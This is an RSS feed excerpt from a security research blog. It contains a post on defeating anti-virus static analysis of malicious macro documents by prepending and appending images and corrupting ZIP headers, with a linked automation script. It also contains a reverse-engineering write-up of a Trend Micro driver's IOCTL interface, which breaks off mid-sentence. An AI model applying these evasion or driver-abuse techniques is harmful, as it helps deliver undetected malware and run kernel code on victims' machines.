remediated several issues discussed; opting to provide warnings in documentation instead of fixing the underlying problems in their platform.</p><p><strong>What do I do if I am vulnerable?</strong><br>If you&apos;re a player of the game, reach out to the game developers.</p><p>If you&apos;re a game or library developer, reach out to Epic Games for assistance. Make sure to review the <a href="https://dev.epicgames.com/docs/services/en-US/Interfaces/Sessions/MatchmakingSecurity/index.html">documentation warnings</a> Epic Games has added due to this vulnerability.</p><p><strong>What is the potential impact of these vulnerabilities?</strong><br>The vulnerabilities discussed in this article could be used to:</p><ol><li>Hijack any or all &quot;matchmaking sessions&quot; and have any player that joins a session join an attacker&apos;s session instead.</li><li>Prevent players from joining any &quot;matchmaking session&quot;.</li><li>Leak the user identifier and IP Address of any player hosting a session.</li></ol>]]></content:encoded></item><item><title><![CDATA[Defeating Macro Document Static Analysis with Pictures of My Cat]]></title><description><![CDATA[<p>Over the past few weeks I&apos;ve spent some time learning <a href="https://en.wikipedia.org/wiki/Visual_Basic_for_Applications">Visual Basic for Applications</a> (VBA), specifically for creating malicious Word documents to act as an initial stager. When taking operational security into consideration and brainstorming ways of evading macro detection, I had the question, <em>how</em> does anti-virus detect</p>]]></description><link>https://billdemirkapi.me/defeating-macro-document-static-analysis-with-pictures-of-my-cat/</link><guid isPermaLink="false">60277187d8acfdb32a8770b0</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Wed, 16 Sep 2020 11:33:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/02/photo_2018-08-30_23-34-18.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2021/02/photo_2018-08-30_23-34-18.jpg" alt="Defeating Macro Document Static Analysis with Pictures of My Cat"><p>Over the past few weeks I&apos;ve spent some time learning <a href="https://en.wikipedia.org/wiki/Visual_Basic_for_Applications">Visual Basic for Applications</a> (VBA), specifically for creating malicious Word documents to act as an initial stager. When taking operational security into consideration and brainstorming ways of evading macro detection, I had the question, <em>how</em> does anti-virus detect a malicious macro?</p><p>The hypothesis I came up with was that anti-virus would parse out macro content from the word document and scan the macro code for a variety of malicious techniques, nothing crazy. A common pattern I&apos;ve seen attackers counter this sort-of detection is through the use of <a href="https://github.com/sevagas/macro_pack">macro obfuscation</a>, which is effectively scrambling macro content in an attempt to evade the malicious patterns anti-virus looks for.</p><p>The questions I wanted answered were:</p><ol><li>How does anti-virus even retrieve the macro content?</li><li>What differences are there for the retrieval of macro content between the implementation in Microsoft Word and anti-virus?</li></ol><h2 id="discovery">Discovery</h2><p>According to <a href="https://en.wikipedia.org/wiki/Office_Open_XML">Wikipedia</a>,Open Office XML (OOX) &quot;is a <em>zipped</em>, XML-based file format developed by Microsoft for representing spreadsheets, charts, presentations and word processing documents&quot;. This is the file format used for the common Microsoft Word extensions <code>docx</code> and <code>docm</code>. The fact that Microsoft Office documents were essentially a zip file of XML files certainly piqued my interest.</p><p>Since the OOX format is just a zip file, I found that parsing macro content from a Microsoft Word document was simpler than you might expect. All an anti-virus would need to do is:</p><ol><li>Extract the Microsoft Office document as a ZIP and look for the file <code>word\vbaProject.bin</code>.</li><li>Parse the OLE binary and extract the macro content.</li></ol><p>The differences I was interested in was how the methods would handle errors and corruption. For example, common implementations of ZIP extraction will often have error checking such as:</p><ol><li>Does the local file header begin with the signature <code>0x04034b50</code>?</li><li>Is the minimum version bytes greater than what is supported?</li></ol><p>What I was really after was finding ways to break the ZIP parser in anti-virus <em>without</em> breaking the ZIP parser used by Microsoft Office.</p><p>Before we get into corrupting anything, we need a base sample first. As an example, I simply wrote a basic macro &quot;Hello World!&quot; that would appear when the document was opened.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/6EyHgBz.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><p>For the purposes of testing detection of macros, I needed another sample document that was heavily detected by anti-virus. After a quick google search, I found a few samples shared by <a href="https://twitter.com/malware_traffic">@malware_traffic</a> <a href="https://www.malware-traffic-analysis.net/2017/05/16/index.html">here</a>. The sample named <code>HSOTN2JI.docm</code> had the highest detection rate, coming in at <a href="https://www.virustotal.com/gui/file/4da60d4278f4996163f5ffa28196919369d4ca365245ce8c60dc46bd9d816667/detection">44/61 engines marking the document as malicious</a>.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/RKMJX6X.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><p>To ensure that detections were specifically based on the malicious macro inside the document&apos;s <code>vbaProject.bin</code> OLE file, I...</p><ol><li>Opened both my &quot;Hello World&quot; and the <code>HSOTN2JI</code> macro documents as ZIP files.</li><li>Replaced the <code>vbaProject.bin</code> OLE file in my &quot;Hello World&quot; macro document with the <code>vbaProject.bin</code> from the malicious <code>HSOTN2JI</code> macro document.</li></ol><p>Running the scan again resulted in the <a href="https://www.virustotal.com/gui/file/aa0c0663d8e601456b6327e06f56d31a701f1047085dae3846fb1c9c81a4cd09/detection">following detection rate</a>:</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/6gUQuby.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><p>Fortunately, these anti-virus products were detecting the actual macro and not solely relying on conventional methods such as blacklisting the hash of the document. Now with a base malicious sample, we can begin tampering with the document.</p><h2 id="exploitation">Exploitation</h2><p>The methodology I used for the methods of corruption is:</p><ol><li>Modify the original base sample file with the corruption method.</li><li>Verify that the document still opens in Microsoft Word.</li><li>Upload the new document to VirusTotal.</li><li>If good results, retry the method on my original &quot;Hello World&quot; macro document and verify that the macro still works.</li></ol><p>Before continuing, it&apos;s important to note that the methods discussed in this blog post does come with drawbacks, specifically:</p><ol><li>Whenever a victim opens a corrupted document, they will receive a prompt asking whether or not they&apos;d like to recover the document:<br></li></ol><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/mQ9QBRp.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><ol><li>Before the macro is executed, the victim will be prompted to save the recovered document. Once the victim has saved the recovered document, the macro will execute.</li></ol><p>Although adding any user interaction certainly increases the complexity of the attack, if a victim was going to enable macros anyway, they&apos;d probably also be willing to recover the document.</p><h3 id="general-corruption">General Corruption</h3><p>We&apos;ll first start with the effects of general corruption on a Microsoft Word document. What I mean by this is I&apos;ll be corrupting the file using methods that are non-specific to the ZIP file format.</p><p>First, let&apos;s observe the impact of adding random bytes to the beginning of the file.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/dQ8lrKt.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/KG7Mlya.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><p>With a few bytes at the beginning of the document, we were able to decrease detection by about 33%. This made me confident that future attempts could reduce this even further.</p><p><strong>Result:</strong> 33% decrease in detection</p><h4 id="prepending-my-cat">Prepending My Cat</h4><p>This time, let&apos;s do the same thing except prepend a JPG file, in this case, a photo of my cat!</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/hWfh1Nl.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><p>You might think that prepending some random data should result in the same detection rate as an image, but some anti-virus marked the file as clean as soon as they saw an image.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/J911XpJ.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><p>To aid in future research, the anti-virus engines that marked the random data document as malicious but did <em>not</em> mark the cat document as malicious were:</p><pre><code>Ad-Aware
ALYac
DrWeb
eScan
McAfee
Microsoft
Panda
Qihoo-360
Sophos ML
Tencent
VBA32
</code></pre><p>The reason this list is larger than the actual difference in detection is because some engines strangely detected this cat document, but did <em>not</em> detect the random data document.</p><p><strong>Result:</strong> 50% decrease in detection</p><h4 id="prepending-appending-my-cat">Prepending + Appending My Cat</h4><p>Purely appending data to the end of a macro document barely impacts the detection rate, instead we&apos;ll be combining appending data with other methods starting with my cat.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/7qjlH93.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><p>What was shocking about all of this was even when the ZIP file was in the middle of two images, Microsoft&apos;s parser was able to reliably recover the document and macro! With only extremely basic modification to the document, we were able to essentially prevent most detection of the macro.</p><p><strong>Result:</strong> 88% decrease in detection</p><h3 id="zip-corruption">Zip Corruption</h3><p>Microsoft&apos;s fantastic document recovery is not just exclusive to general methods of file corruption. Let&apos;s take a look at how it handles corruption specific to the ZIP file format.</p><h4 id="corrupting-the-zip-local-file-header">Corrupting the ZIP Local File Header</h4><p>The only file we care about preventing access to is the <code>vbaProject.bin</code> file, which contains the malicious macro. Without corrupting the data, could we corrupt the file header for the <code>vbaProject.bin</code> file and still have Microsoft Word recognize the macro document?</p><p>Let&apos;s take a look at the structure of a local file header from <a href="https://en.wikipedia.org/wiki/Zip_(file_format)">Wikipedia</a>:<br></p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/aZqIjWO.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><p>I decided that the local file header signature would be the least likely to break file parsing, hoping that Microsoft Word didn&apos;t care whether or not the file header had the correct magic value. If Microsoft Word didn&apos;t care about the magic, corrupting it had a high chance of interfering with ZIP parsers that have integrity checks such as verifying the value of the magic.</p><p>After corrupting only the file header signature of the <code>vbaProject.bin</code> file entry, we get the following result:</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/2F5Zhry.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/ucMpYUK.png" class="kg-image" alt="Defeating Macro Document Static Analysis with Pictures of My Cat" loading="lazy"></figure><p>With a ZIP specific corruption method, we almost completely eliminated detection.</p><p><strong>Result:</strong> 90% decrease in detection</p><h2 id="combining-methods">Combining Methods</h2><p>With all of these methods, we&apos;ve been able to reduce static detection of malicious macro documents quite a bit, but it&apos;s still not 100%. Could these methods be combined to achieve even lower rates of detection? Fortunately, yes!</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>Method</strong></th>
<th><strong>Detection Rate Decrease</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Prepending Random Bytes</td>
<td>33%</td>
</tr>
<tr>
<td>Prepending an Image</td>
<td>50%</td>
</tr>
<tr>
<td>Prepending and Appending an Image</td>
<td>88%</td>
</tr>
<tr>
<td>Corrupting ZIP File Header</td>
<td>90%</td>
</tr>
<tr>
<td>Prepending/Appending Image <em>and</em> Corrupting ZIP File Header</td>
<td>100%</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p>Interested in trying out the last corruption method that reduced detection by 100%? <a href="https://gist.github.com/D4stiny/3429852f2fe8b7f7725e7f5cc18cafbd">I made a script to do just that</a>! To use it, simply execute the script providing document filename as the first argument and a picture filename for the second parameter. The script will spit out the patched document to your current directory.</p><p>As stated before, even though these methods can bring down the detection of a macro document to 0%, it comes with high costs to attack complexity. A victim will not only need to click to recover the document, but will also need to save the recovered document before the malicious macro executes. Whether or not that added complexity is worth it for your team will widely depend on the environment you&apos;re against.</p><p>Regardless, one must heavily applaud the team working on Microsoft Office, especially those who designed the fantastic document recovery functionality. Even when compared to tools that are specifically designed to recover ZIP files, the recovery capability in Microsoft Office exceeds all expectations.</p>]]></content:encoded></item><item><title><![CDATA[How to use Trend Micro's Rootkit Remover to Install a Rootkit]]></title><description><![CDATA[<p><em>The opinions expressed in this publication are those of the authors. They do not reflect the opinions or views of my employer. All research was conducted independently.</em></p><p>For a recent project, I had to do research into methods rootkits are detected and the most effective measures to catch them when</p>]]></description><link>https://billdemirkapi.me/how-to-use-trend-micro-rootkit-remover-to-install-a-rootkit/</link><guid isPermaLink="false">60277148d8acfdb32a8770a5</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Mon, 18 May 2020 15:32:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/02/N7lMUBZ.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2021/02/N7lMUBZ.png" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit"><p><em>The opinions expressed in this publication are those of the authors. They do not reflect the opinions or views of my employer. All research was conducted independently.</em></p><p>For a recent project, I had to do research into methods rootkits are detected and the most effective measures to catch them when I asked the question, what are some existing solutions to rootkits and how do they function? My search eventually landed me on the <a href="https://www.trendmicro.com/en_us/forHome/products/free-tools/rootkitbuster.html">TrendMicro RootkitBuster</a> which describes itself as &quot;A free tool that scans hidden files, registry entries, processes, drivers, and the master boot record (MBR) to identify and remove rootkits&quot;.</p><p>The features it boasted certainly caught my attention. They were claiming to detect several techniques rootkits use to burrow themselves into a machine, but how does it work under the hood and can we abuse it? I decided to find out by reverse engineering core components of the application itself, leading me down a rabbit hole of code that scarred me permanently, to say the least.</p><h2 id="discovery">Discovery</h2><p>Starting the adventure, launching the application resulted in a fancy warning by <a href="https://processhacker.sourceforge.io/">Process Hacker</a> that a new driver had been installed.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/h9D410y.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Already off to a good start, we got a copy of Trend Micro&apos;s &quot;common driver&quot;, this was definitely something to look into. Besides this driver being installed, this friendly window opened prompting me to accept Trend Micro&apos;s user agreement.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/N7lMUBZ.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>I wasn&apos;t in the mood to sign away my soul to the devil just yet, especially since the terms included a clause stating <em>&quot;You agree not to attempt to reverse engineer, decompile, modify, translate, disassemble, discover the source code of, or create derivative works from...&quot;</em>.</p><p>Thankfully, Trend Micro already deployed their software on to my machine before I accepted any terms. Funnily enough, when I tried to exit the process by right-clicking on the application and pressing &quot;Close Window&quot;, it completely evaded the license agreement and went to the main screen of the scanner, even though I had selected the &quot;I do not accept the terms of the license agreement&quot; option. Thanks Trend Micro!</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/dUiNDqe.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>I noticed a quick command prompt flash when I started the application. It turns out this was the result of a 7-Zip Self Extracting binary which extracted the rest of the application components to <code>%TEMP%\RootkitBuster</code>.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/I8XOQ1j.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Let&apos;s review the driver we&apos;ll be covering in this article.</p><ul><li>The <code>tmcomm</code> driver which was labeled as the &quot;TrendMicro Common Module&quot; and &quot;Trend Micro Eyes&quot;. A quick overlook of the driver indicated that it accepted communication from <em>privileged</em> user-mode applications and performed common actions that are not specific to the Rootkit Remover itself. This driver <em>is not</em> only used in the Rootkit Buster and is implemented throughout Trend Micro&apos;s product line.</li></ul><p>In the following sections, we&apos;ll be deep diving into the <code>tmcomm</code> driver . We&apos;ll focus our research into finding different ways to abuse the driver&apos;s functionality, with the end goal being able to execute kernel code. I decided not to look into the <code>tmrkb.sys</code> because although I am sure it is vulnerable, it seems to only be used for the Rootkit Buster.</p><h2 id="trendmicro-common-module-tmcomm-sys-">TrendMicro Common Module (tmcomm.sys)</h2><p>Let&apos;s begin our adventure with the base driver that appears to be used not only for this Rootkit Remover utility, but several other Trend Micro products as well. As I stated in the previous section, a very brief look-over of the driver revealed that it does allow for communication from <em>privileged</em> user-mode applications.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/TtipViE.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>One of the first actions the driver takes is to create a device to accept IOCTL communication from user-mode. The driver creates a device at the path <code>\Device\TmComm</code> and a symbolic link to the device at <code>\DosDevices\TmComm</code> (accessible via <code>\\.\Global\TmComm</code>). The driver entrypoint initializes a significant amount of classes and structure used throughout the driver, however, for our purposes, it is not necessary to cover each one.</p><p>I was happy to see that Trend Micro made the correct decision of restricting their device to the <code>SYSTEM</code> user and Administrators. This meant that even if we did find exploitable code, because any communication would require at least Administrative privileges, a significant amount of the industry would not consider it a vulnerability. For example, <a href="https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria">Microsoft themselves</a> do not consider Administrator to Kernel to be a security boundary because of the significant amount of access they get. This does not mean however exploitable code in Trend Micro&apos;s drivers won&apos;t be useful.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/9sS6Z2w.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><h2 id="trueapi">TrueApi</h2><p>A large component of the driver is its &quot;TrueApi&quot; class which is instantiated during the driver&apos;s entrypoint. The class contains pointers to <em>imported</em> functions that get used throughout the driver. Here is a reversed structure:</p><pre><code class="language-c">struct TrueApi
{
	BYTE Initialized;
	PVOID ZwQuerySystemInformation;
	PVOID ZwCreateFile;
	PVOID unk1; // Initialized as NULL.
	PVOID ZwQueryDirectoryFile;
	PVOID ZwClose;
	PVOID ZwOpenDirectoryObjectWrapper;
	PVOID ZwQueryDirectoryObject;
	PVOID ZwDuplicateObject;
	PVOID unk2; // Initialized as NULL.
	PVOID ZwOpenKey;
	PVOID ZwEnumerateKey;
	PVOID ZwEnumerateValueKey;
	PVOID ZwCreateKey;
	PVOID ZwQueryValueKey;
	PVOID ZwQueryKey;
	PVOID ZwDeleteKey;
	PVOID ZwTerminateProcess;
	PVOID ZwOpenProcess;
	PVOID ZwSetValueKey;
	PVOID ZwDeleteValueKey;
	PVOID ZwCreateSection;
	PVOID ZwQueryInformationFile;
	PVOID ZwSetInformationFile;
	PVOID ZwMapViewOfSection;
	PVOID ZwUnmapViewOfSection;
	PVOID ZwReadFile;
	PVOID ZwWriteFile;
	PVOID ZwQuerySecurityObject;
	PVOID unk3; // Initialized as NULL.
	PVOID unk4; // Initialized as NULL.
	PVOID ZwSetSecurityObject;
};
</code></pre><p>Looking at the code, the TrueApi is primarily used as an alternative to calling the functions directly. My educated guess is that Trend Micro is caching these imported functions at initialization to evade <em>delayed</em> IAT hooks. Since the TrueApi is resolved by looking at the import table however, if there is a rootkit that hooks the IAT on driver load, this mechanism is useless.</p><h2 id="xrayapi">XrayApi</h2><p>Similar to the TrueApi, the XrayApi is another major class in the driver. This class is used to access several low-level devices and to interact directly with the filesystem. A major component of the XrayConfig is its &quot;config&quot;. Here is a partially reverse-engineered structure representing the config data:</p><pre><code class="language-c">struct XrayConfigData
{
	WORD Size;
	CHAR pad1[2];
	DWORD SystemBuildNumber;
	DWORD UnkOffset1;
	DWORD UnkOffset2;
	DWORD UnkOffset3;
	CHAR pad2[4];
	PVOID NotificationEntryIdentifier;
	PVOID NtoskrnlBase;
	PVOID IopRootDeviceNode;
	PVOID PpDevNodeLockTree;
	PVOID ExInitializeNPagedLookasideListInternal;
	PVOID ExDeleteNPagedLookasideList;
	CHAR unkpad3[16];
	PVOID KeAcquireInStackQueuedSpinLockAtDpcLevel;
	PVOID KeReleaseInStackQueuedSpinLockFromDpcLevel;
	...
};
</code></pre><p>The config data stores the location of internal/undocumented variables in the Windows Kernel such as the <code>IopRootDeviceNode</code>, <code>PpDevNodeLockTree</code>, <code>ExInitializeNPagedLookasideListInternal</code>, and <code>ExDeleteNPagedLookasideList</code>. &#xA0;My educated guess for the purpose of this class is to access low-level devices directly rather than use documented methods which could be hijacked.</p><h2 id="ioctl-requests">IOCTL Requests</h2><p>Before we get into what the driver allows us to do, we need to understand how IOCTL requests are handled.</p><p>In the primary dispatch function, the Trend Micro driver converts the data alongside a <code>IRP_MJ_DEVICE_CONTROL</code> request to a proprietary structure I call a <code>TmIoctlRequest</code>.</p><pre><code class="language-c++">struct TmIoctlRequest
{
	DWORD InputSize;
	DWORD OutputSize;
	PVOID UserInputBuffer;
	PVOID UserOutputBuffer;
	PVOID Unused;
	DWORD_PTR* BytesWritten;
};
</code></pre><p>The way Trend Micro organized dispatching of IOCTL requests is by having several &quot;dispatch tables&quot;. The &quot;base dispatch table&quot; simply contains an IOCTL Code and a corresponding &quot;sub dispatch function&quot;. For example, when you send an IOCTL request with the code <code>0xDEADBEEF</code>, it will compare each entry of this base dispatch table and pass along the data if there is a table entry that has the matching code. A base table entry can be represented by the structure below:</p><pre><code class="language-c++">typedef NTSTATUS (__fastcall *DispatchFunction_t)(TmIoctlRequest *IoctlRequest);

struct BaseDispatchTableEntry
{
	DWORD_PTR IOCode;
	DispatchFunction_t DispatchFunction;
};
</code></pre><p>After the <code>DispatchFunction</code> is called, it typically verifies some of the data provided ranging from basic <code>nullptr</code> checks to checking the size of the input and out buffers. These &quot;sub dispatch functions&quot; then do another lookup based on a code passed in the user input buffer to find the corresponding &quot;sub table entry&quot;. A sub table entry can be represented by the structure below:</p><pre><code class="language-c++">typedef NTSTATUS (__fastcall *OperationFunction_t)(PVOID InputBuffer, PVOID OutputBuffer);

struct SubDispatchTableEntry
{
	DWORD64 OperationCode;
	OperationFunction_t PrimaryRoutine;
	OperationFunction_t ValidatorRoutine;
};
</code></pre><p>Before calling the <code>PrimaryRoutine</code>, which actually performs the requested action, the sub dispatch function calls the <code>ValidatorRoutine</code>. This routine does &quot;action-specific&quot; validation on the input buffer, meaning that it performs checks on the data the <code>PrimaryRoutine</code> will be using. Only if the <code>ValidatorRoutine</code> returns successfully will the <code>PrimaryRoutine</code> be called.</p><p>Now that we have a basic understanding of how IOCTL requests are handled, let&apos;s explore what they allow us to do. Referring back to the definition of the &quot;base dispatch table&quot;, which stores &quot;sub dispatch functions&quot;, let&apos;s explore each base table entry and figure out what each sub dispatch table allows us to do!</p><h2 id="iocontrolcode-9000402bh">IoControlCode == 9000402Bh</h2><h3 id="discovery-1">Discovery</h3><p>This first dispatch table appears to interact with the filesystem, but what does that actually mean? To start things off, the code for the &quot;sub dispatch table&quot; entry is obtained by dereferencing a <code>DWORD</code> from the start of the input buffer. This means that to specify which sub dispatch entry you&apos;d like to execute, you simply need to set a <code>DWORD</code> at the base of the input buffer to correspond with that entries&apos; <code>**OperationCode**</code>.</p><p>To make our lives easier, Trend Micro conveniently included a significant amount of debugging strings, often giving an idea of what a function does. Here is a table of the functions I reversed in this sub dispatch table and what they allow us to do.</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>OperationCode</strong></th>
<th><strong>PrimaryRoutine</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>2713h</td>
<td>IoControlCreateFile</td>
<td>Calls NtCreateFile, all parameters are controlled by the request.</td>
</tr>
<tr>
<td>2711h</td>
<td>IoControlFindNextFile</td>
<td>Returns STATUS_NOT_SUPPORTED.</td>
</tr>
<tr>
<td>2710h</td>
<td>IoControlFindFirstFile</td>
<td>Performs nothing, returns STATUS_SUCCESS always.</td>
</tr>
<tr>
<td>2712h</td>
<td>IoControlFindCloseFile</td>
<td>Calls ZwClose, all parameters are controlled by the request.</td>
</tr>
<tr>
<td>2715h</td>
<td>IoControlReadFileIRPNoCache</td>
<td>References a FileObject using HANDLE from request. Calls IofCallDriver and reads result.</td>
</tr>
<tr>
<td>2714h</td>
<td>IoControlCreateFileIRP</td>
<td>Creates a new FileObject and associates DeviceObject for requested drive.</td>
</tr>
<tr>
<td>2716h</td>
<td>IoControlDeleteFileIRP</td>
<td>Deletes a file by sending an IRP_MJ_SET_INFORMATION request.</td>
</tr>
<tr>
<td>2717h</td>
<td>IoControlGetFileSizeIRP</td>
<td>Queries a file&apos;s size by sending an IRP_MJ_QUERY_INFORMATION request.</td>
</tr>
<tr>
<td>2718h</td>
<td>IoControlSetFilePosIRP</td>
<td>Set&apos;s a file&apos;s position by sending an IRP_MJ_SET_INFORMATION request.</td>
</tr>
<tr>
<td>2719h</td>
<td>IoControlFindFirstFileIRP</td>
<td>Returns STATUS_NOT_SUPPORTED.</td>
</tr>
<tr>
<td>271Ah</td>
<td>IoControlFindNextFileIRP</td>
<td>Returns STATUS_NOT_SUPPORTED.</td>
</tr>
<tr>
<td>2720h</td>
<td>IoControlQueryFile</td>
<td>Calls NtQueryInformationFile, all parameters are controlled by the request.</td>
</tr>
<tr>
<td>2721h</td>
<td>IoControlSetInformationFile</td>
<td>Calls NtSetInformationFile, all parameters are controlled by the request.</td>
</tr>
<tr>
<td>2722h</td>
<td>IoControlCreateFileOplock</td>
<td>Creates an Oplock via IoCreateFileEx and other filesystem API.</td>
</tr>
<tr>
<td>2723h</td>
<td>IoControlGetFileSecurity</td>
<td>Calls NtCreateFile and then ZwQuerySecurityObject. All parameters are controlled by the request.</td>
</tr>
<tr>
<td>2724h</td>
<td>IoControlSetFileSecurity</td>
<td>Calls NtCreateFile and then ZwSetSecurityObject. All parameters are controlled by the request.</td>
</tr>
<tr>
<td>2725h</td>
<td>IoControlQueryExclusiveHandle</td>
<td>Check if a file is opened exclusively.</td>
</tr>
<tr>
<td>2726h</td>
<td>IoControlCloseExclusiveHandle</td>
<td>Forcefully close a file handle.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><h2 id="iocontrolcode-90004027h">IoControlCode == 90004027h</h2><h3 id="discovery-2">Discovery</h3><p>This dispatch table is primarily used to control the driver&apos;s <em>process</em> scanning features. Many functions in this sub dispatch table use a separate scanning thread to synchronously search for processes via various methods both documented and undocumented.</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>OperationCode</strong></th>
<th><strong>PrimaryRoutine</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>C350h</td>
<td>GetProcessesAllMethods</td>
<td>Find processes via ZwQuerySystemInformation and WorkingSetExpansionLinks.</td>
</tr>
<tr>
<td>C351h</td>
<td>DeleteTaskResults*</td>
<td>Delete results obtained through other functions like GetProcessesAllMethods.</td>
</tr>
<tr>
<td>C358h</td>
<td>GetTaskBasicResults*</td>
<td>Further parse results obtained through other functions like GetProcessesAllMethods.</td>
</tr>
<tr>
<td>C35Dh</td>
<td>GetTaskFullResults*</td>
<td>Completely parse results obtained through other functions like GetProcessesAllMethods.</td>
</tr>
<tr>
<td>C360h</td>
<td>IsSupportedSystem</td>
<td>Returns TRUE if the system is &quot;supported&quot; (whether or not they have hardcoded offsets for your build).</td>
</tr>
<tr>
<td>C361h</td>
<td>TryToStopTmComm</td>
<td>Attempt to stop the driver.</td>
</tr>
<tr>
<td>C362h</td>
<td>GetProcessesViaMethod</td>
<td>Find processes via a specified method.</td>
</tr>
<tr>
<td>C371h</td>
<td>CheckDeviceStackIntegrity</td>
<td>Check for tampering on devices associated with physical drives.</td>
</tr>
<tr>
<td>C375h</td>
<td>ShouldRequireOplock</td>
<td>Returns TRUE if oplocks should be used for certain scans.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p>These IOCTLs revolve around a few structures I call &quot;MicroTask&quot; and &quot;MicroScan&quot;. Here are the structures reverse-engineered:</p><pre><code class="language-c">struct MicroTaskVtable
{
	PVOID Constructor;
	PVOID NewNode;
	PVOID DeleteNode;
	PVOID Insert;
	PVOID InsertAfter;
	PVOID InsertBefore;
	PVOID First;
	PVOID Next;
	PVOID Remove;
	PVOID RemoveHead;
	PVOID RemoveTail;
	PVOID unk2;
	PVOID IsEmpty;
};

struct MicroTask
{
	MicroTaskVtable* vtable;
	PVOID self1; // ptr to itself.
	PVOID self2; // ptr to itself.
	DWORD_PTR unk1;
	PVOID MemoryAllocator;
	PVOID CurrentListItem;
	PVOID PreviousListItem;
	DWORD ListSize;
	DWORD unk4; // Initialized as NULL.
	char ListName[50];
};

struct MicroScanVtable
{
	PVOID Constructor;
	PVOID GetTask;
};

struct MicroScan
{
	MicroScanVtable* vtable;
	DWORD Tag; // Always &apos;PANS&apos;.
	char pad1[4];
	DWORD64 TasksSize;
	MicroTask Tasks[4];
};
</code></pre><p>For most of the IOCTLs in this sub dispatch table, a MicroScan is passed in by the client which the driver populates. We&apos;ll look into how we can abuse this trust in the next section.</p><h3 id="exploitation">Exploitation</h3><p>When I was initially reverse engineering the functions in this sub dispatch table, I was quite confused because the code &quot;didn&apos;t seem right&quot;. It appeared like the <code>MicroScan</code> kernel pointer returned by functions such as <code>GetProcessesAllMethods</code> was being directly passed onto other functions such as <code>DeleteTaskResults</code> by <em>the client</em>. These functions would then take this untrusted kernel pointer and with almost no validation call functions in the virtual function table specified at the base of the class.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/YWVMaiq.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Taking a look at the &quot;validation routine&quot; for the <code>DeleteTaskResults</code> sub dispatch table entry, the only validation performed on the <code>MicroScan</code> instance specified at the input buffer <code>+ 0x10</code> was making sure it was a valid kernel address.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/prYMsTu.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/frO0gIU.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/xBykufH.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>The only other check besides making sure that the supplied pointer was in kernel memory was a simple check in 